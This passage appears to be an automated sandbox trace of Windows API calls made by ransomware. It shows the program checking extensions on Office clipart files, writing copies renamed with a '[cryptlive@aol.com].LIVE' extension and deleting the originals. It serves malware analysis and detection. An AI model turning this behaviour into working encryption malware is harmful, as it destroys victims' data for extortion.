Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0137.377] lstrlenW (lpString=".doc") returned 4 [0137.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.377] lstrlenW (lpString=".docx") returned 5 [0137.377] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.377] lstrlenW (lpString=".pdf") returned 4 [0137.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.377] lstrlenW (lpString=".xls") returned 4 [0137.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.377] lstrlenW (lpString=".xlsx") returned 5 [0137.377] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.377] lstrlenW (lpString=".ppt") returned 4 [0137.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0137.377] lstrlenW (lpString=".zip") returned 4 [0137.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.377] lstrlenW (lpString=".rar") returned 4 [0137.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.377] lstrlenW (lpString=".bz2") returned 4 [0137.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.377] lstrlenW (lpString=".7z") returned 3 [0137.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0137.378] lstrlenW (lpString=".dbf") returned 4 [0137.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0137.378] lstrlenW (lpString=".1cd") returned 4 [0137.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0137.378] lstrlenW (lpString=".jpg") returned 4 [0137.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0137.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0137.378] lstrlenW (lpString=".doc") returned 4 [0137.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.378] lstrlenW (lpString=".docx") returned 5 [0137.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.378] lstrlenW (lpString=".pdf") returned 4 [0137.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.378] lstrlenW (lpString=".xls") returned 4 [0137.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.378] lstrlenW (lpString=".xlsx") returned 5 [0137.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.378] lstrlenW (lpString=".ppt") returned 4 [0137.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0137.378] lstrlenW (lpString=".zip") returned 4 [0137.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.378] lstrlenW (lpString=".rar") returned 4 [0137.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.378] lstrlenW (lpString=".bz2") returned 4 [0137.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.378] lstrlenW (lpString=".7z") returned 3 [0137.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0137.378] lstrlenW (lpString=".dbf") returned 4 [0137.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0137.379] lstrlenW (lpString=".1cd") returned 4 [0137.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0137.379] lstrlenW (lpString=".jpg") returned 4 [0137.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.379] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0137.379] lstrlenW (lpString="BL00270_.WMF") returned 12 [0137.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0137.398] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3016) returned 1 [0137.398] CloseHandle (hObject=0x390) returned 1 [0137.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x20 [0137.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0137.497] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.497] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0137.543] GetLastError () returned 0x0 [0137.543] ReadFile (in: hFile=0x1e4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xbc8, lpOverlapped=0x0) returned 1 [0137.565] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0137.565] ReadFile (in: hFile=0x1e4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0137.565] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.566] SetEndOfFile (hFile=0x39c) returned 1 [0137.566] CloseHandle (hObject=0x39c) returned 1 [0137.566] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.566] SetEndOfFile (hFile=0x1e4) returned 1 [0137.568] CloseHandle (hObject=0x1e4) returned 1 [0137.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0137.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0137.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0137.610] lstrlenW (lpString=".doc") returned 4 [0137.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.610] lstrlenW (lpString=".docx") returned 5 [0137.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.610] lstrlenW (lpString=".pdf") returned 4 [0137.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.610] lstrlenW (lpString=".xls") returned 4 [0137.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.610] lstrlenW (lpString=".xlsx") returned 5 [0137.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.610] lstrlenW (lpString=".ppt") returned 4 [0137.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0137.611] lstrlenW (lpString=".zip") returned 4 [0137.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.611] lstrlenW (lpString=".rar") returned 4 [0137.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.611] lstrlenW (lpString=".bz2") returned 4 [0137.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.611] lstrlenW (lpString=".7z") returned 3 [0137.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0137.611] lstrlenW (lpString=".dbf") returned 4 [0137.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0137.611] lstrlenW (lpString=".1cd") returned 4 [0137.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0137.611] lstrlenW (lpString=".jpg") returned 4 [0137.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0137.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0137.611] lstrlenW (lpString=".doc") returned 4 [0137.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.611] lstrlenW (lpString=".docx") returned 5 [0137.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.611] lstrlenW (lpString=".pdf") returned 4 [0137.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.611] lstrlenW (lpString=".xls") returned 4 [0137.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.611] lstrlenW (lpString=".xlsx") returned 5 [0137.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.611] lstrlenW (lpString=".ppt") returned 4 [0137.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0137.611] lstrlenW (lpString=".zip") returned 4 [0137.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.611] lstrlenW (lpString=".rar") returned 4 [0137.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.612] lstrlenW (lpString=".bz2") returned 4 [0137.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.612] lstrlenW (lpString=".7z") returned 3 [0137.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0137.612] lstrlenW (lpString=".dbf") returned 4 [0137.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0137.612] lstrlenW (lpString=".1cd") returned 4 [0137.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0137.612] lstrlenW (lpString=".jpg") returned 4 [0137.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.612] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0137.612] lstrlenW (lpString="BL00392_.WMF") returned 12 [0137.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0137.612] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=27050) returned 1 [0137.613] CloseHandle (hObject=0x380) returned 1 [0137.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x20 [0137.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0137.613] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.613] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0137.614] GetLastError () returned 0x0 [0137.614] ReadFile (in: hFile=0x380, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x69aa, lpOverlapped=0x0) returned 1 [0137.651] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x69b0, lpOverlapped=0x0) returned 1 [0137.653] ReadFile (in: hFile=0x380, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0137.653] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.653] SetEndOfFile (hFile=0x39c) returned 1 [0137.654] CloseHandle (hObject=0x39c) returned 1 [0137.654] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.654] SetEndOfFile (hFile=0x380) returned 1 [0137.657] CloseHandle (hObject=0x380) returned 1 [0137.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0138.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0138.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0138.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0138.973] lstrlenW (lpString=".doc") returned 4 [0138.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0138.973] lstrlenW (lpString=".docx") returned 5 [0138.973] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0138.973] lstrlenW (lpString=".pdf") returned 4 [0138.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0138.973] lstrlenW (lpString=".xls") returned 4 [0138.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0138.974] lstrlenW (lpString=".xlsx") returned 5 [0138.974] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0138.974] lstrlenW (lpString=".ppt") returned 4 [0138.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0138.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0138.974] lstrlenW (lpString=".zip") returned 4 [0138.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0138.974] lstrlenW (lpString=".rar") returned 4 [0138.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0138.974] lstrlenW (lpString=".bz2") returned 4 [0138.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0138.974] lstrlenW (lpString=".7z") returned 3 [0138.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0138.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0138.974] lstrlenW (lpString=".dbf") returned 4 [0138.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0138.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0138.974] lstrlenW (lpString=".1cd") returned 4 [0138.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0138.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0138.974] lstrlenW (lpString=".jpg") returned 4 [0138.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0138.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0138.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0138.974] lstrlenW (lpString=".doc") returned 4 [0138.974] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0138.974] lstrlenW (lpString=".docx") returned 5 [0138.974] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0138.974] lstrlenW (lpString=".pdf") returned 4 [0138.974] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0138.974] lstrlenW (lpString=".xls") returned 4 [0138.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0138.974] lstrlenW (lpString=".xlsx") returned 5 [0138.974] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0138.974] lstrlenW (lpString=".ppt") returned 4 [0138.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0138.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0138.975] lstrlenW (lpString=".zip") returned 4 [0138.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0138.975] lstrlenW (lpString=".rar") returned 4 [0138.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0138.975] lstrlenW (lpString=".bz2") returned 4 [0138.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0138.975] lstrlenW (lpString=".7z") returned 3 [0138.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0138.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0138.975] lstrlenW (lpString=".dbf") returned 4 [0138.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0138.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0138.975] lstrlenW (lpString=".1cd") returned 4 [0138.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0138.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0138.975] lstrlenW (lpString=".jpg") returned 4 [0138.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0138.975] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0138.975] lstrlenW (lpString="BL00921_.WMF") returned 12 [0138.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0138.988] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=4408) returned 1 [0138.988] CloseHandle (hObject=0x1e4) returned 1 [0138.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x20 [0138.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0138.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0138.989] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0138.989] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0138.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0138.989] GetLastError () returned 0x0 [0138.989] ReadFile (in: hFile=0x1e4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1138, lpOverlapped=0x0) returned 1 [0138.991] WriteFile (in: hFile=0x390, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1140, lpOverlapped=0x0) returned 1 [0138.992] ReadFile (in: hFile=0x1e4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0138.992] WriteFile (in: hFile=0x390, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0138.992] SetEndOfFile (hFile=0x390) returned 1 [0138.992] CloseHandle (hObject=0x390) returned 1 [0138.992] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0138.992] SetEndOfFile (hFile=0x1e4) returned 1 [0138.995] CloseHandle (hObject=0x1e4) returned 1 [0138.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0138.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0138.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0138.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0138.996] lstrlenW (lpString=".doc") returned 4 [0138.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0138.996] lstrlenW (lpString=".docx") returned 5 [0138.996] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0138.996] lstrlenW (lpString=".pdf") returned 4 [0138.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0138.996] lstrlenW (lpString=".xls") returned 4 [0138.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0138.996] lstrlenW (lpString=".xlsx") returned 5 [0138.996] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0138.996] lstrlenW (lpString=".ppt") returned 4 